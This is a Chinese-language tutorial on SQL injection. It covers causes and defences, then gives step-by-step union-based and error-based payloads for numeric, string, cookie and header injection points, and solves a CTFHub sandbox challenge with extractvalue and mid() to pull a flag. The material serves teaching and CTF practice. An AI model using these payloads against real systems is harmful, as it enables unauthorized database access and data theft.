SQL 注入(SQL injection)是一种网络安全漏洞,使得攻击者能够干扰应用程序对数据库的查询,从而访问正常情况下看不到的数据。
sql-injection.svg

SQL 注入原理

应用程序对用户输入数据的合法性判断不严或者根本没有判断,导致攻击者可以构造 SQL 语句在后端执行,实现对数据库的任意操作。该漏洞的产生需要满足两个条件:

  1. 参数内容用户可控
  2. 参数带入数据库查询

漏洞影响

可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机

防御方法

  1. 过滤危险字符:避免数据变成代码被执行,时刻分清代码和数据的界限
  2. 使用预编译语句:不要把参数的内容直接拼接到 PDO 语句中,而是在数据库完成 SQL 指令的编译后才套用参数运行(使用占位符进行数据库的增删查改)

SQL 注入一般流程

  1. 找数据输入点
  2. 判断是否存在注入
  3. 判断注入类型
  4. 判断列数
  5. 找当前数据库
  6. 找所有数据库名
  7. 找表名
  8. 找字段名
  9. 获取数据

参数类型分类

参数值会使用符号进行闭合

数字型

:::success 形式:http://x.com/index.php?id=1,注入点 id,数字类型
构造 SQL:select *** from *** where id=1 union *** :::

  1. 检查是否存在注入

    1. 1 and 1=1 // 回显正常
    2. 1 and 1=2 // 回显异常
  2. 猜字段数,利用 order by x (x 为数字)

    1. 1 order by 2 // 回显正常
    2. 1 order by 3 // 回显异常,说明字段数为 2
  3. 暴数据库名,利用 union 联合查询

    1. 1 and 1=2 union select 1,database() // 回显数据库名称 sqli
  4. 暴表名

    1. 1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
    2. // 回显表名 news,flag
  5. 暴列名

    1. 1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
    2. // 回显字段名flag
  6. 暴字段内容

    1. 1 and 1=2 union select 1,group_concat(flag) from sqli.flag

字符型(引号闭合)

:::success 形式:http://x.com/index.php?name=admin
构造 SQL:select from where name=’admin’ and 1=1
字符型注入要考虑到引号闭合注释 :::

  1. 判断是否存在注入

    1. 1' and 1=1 --+ // 回显正常
    2. 1' and 1=2 --+ // 回显异常
  2. 猜字段数

    1. 1' order by 2 --+ // 回显正常
    2. 1' order by 3 --+ // 回显异常,说明字段数为 2

测试空格字符代替情况 (可跳过)
?id=1’ order by 2 — - 返回正确
?id=1’ order by 2 — / 返回正确

暴数据库名
?id=1’ and 1=2 union select 1,database()—+
得到数据库名 sqli

暴表名
?id=1’ and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=’sqli’—+

暴列名
?id=1’ and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=’flag’—+

暴字段内容
?id=1’ and 1=2 union select 1,group_concat(flag) from sqli.flag—+

搜索型(单引号百分号闭合)

主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 “keyword=“关键字””,注入点提交的是sql语句,select * from 表名 where 字段 like ‘%关键字%’ and ‘%1%’=’%1%’


HTTP 方法分类

GET 注入

  1. ?id=1 and 1=1

POST 注入

可以分为以下这三种,xml 存在注入的可能性非常大
form
json
xml

Cookie 注入

当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。

  1. Cookie: id=1 and 1=1

XFF 注入

XFF(X-Forward-For),代表客户端真实的 ip 地址

  1. X-Forward-For127.0.0.1 select 1,2,user()

注入方式分类

根据注入技术分类有以下五种:
布尔型盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
基于错误的注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆查询注入:可以同时执行多条语句

报错注入

尝试报错函数发现可以用 extractvalue(),错误信息能够显示当前使用的数据库名称为 sqli

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))—+

爆表名
获取表名,推断flag表有我们想要的东西

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))—+

爆列名
获取列名,flag表的flag字段或许就是我们的目标了

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’flag’),0x7e))—+

爆数据
初次尝试,发现显示结果不全,推测此题对回显长度有限制

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))—+

方法一:MID函数
MID()函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;

参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
提取查询结果前16个字符

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))—+

提取剩余字符

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e))—+

拼接得到flag
方法二:直接select
取巧的方法

http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,(select flag from flag))—+

布尔盲注

时间盲注

Union 注入


其他

DNSlog 盲注

宽字节注入


使用 sqlmap

https://www.yuque.com/_awake/ri1fuk/bi8mvg


参考

  1. https://portswigger.net/web-security/sql-injection
  2. https://developer.mozilla.org/en-US/docs/Glossary/SQL_Injection
  3. wiki.wgpsec.org - SQL注入漏洞
  4. www.loongten.com - SQL注入学习
  5. www.loongten.com - SQL注入绕过 方式总结